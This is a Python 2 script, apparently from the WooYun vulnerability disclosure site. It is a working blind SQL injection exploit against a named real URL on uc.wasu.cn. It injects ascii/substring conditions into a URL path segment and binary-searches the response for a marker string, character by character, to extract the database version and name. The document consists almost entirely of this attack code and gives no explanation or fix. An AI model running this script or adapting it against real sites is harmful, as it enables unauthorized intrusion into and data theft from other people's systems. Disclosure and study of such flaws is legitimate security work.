WooYun.org

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL):
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
    req = urllib2.Request(URL, None, user_agent)
        
    try:
        request = urllib2.urlopen(req)
        
    except HTTPError, e:
        if e.code == 500:
            return 'Runtime Error'
        
    except URLError, e:
        print('[!] We failed to reach a server.')
        print('[!] Reason: ' + str(e.reason))
        sys.exit(1)
        
    return request.read()
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)
        if mid%2:
            mid = mid/2 + 1
        else:
            mid = mid/2
        if mid == right:
            sys.stdout.write(chr(mid))
            break
        payload = "if(ascii(substring(concat(@@version,0x3a,database()),%s,1))>%s,55728,0)" % (index, mid)
        html = request('http://uc.wasu.cn/member/index.php/Comment/commentList/page_limit/10/show_style/mobile/type/video/relier/'+payload) 
        verify = 'Woman8394'
        if verify in html:
            left = mid
        else:
            right = mid
                   
if __name__ == '__main__':
    print 'concat(@@version,0x3a,database():  ',
    for i in range(1,150):
        binary_sqli(32, 127, i)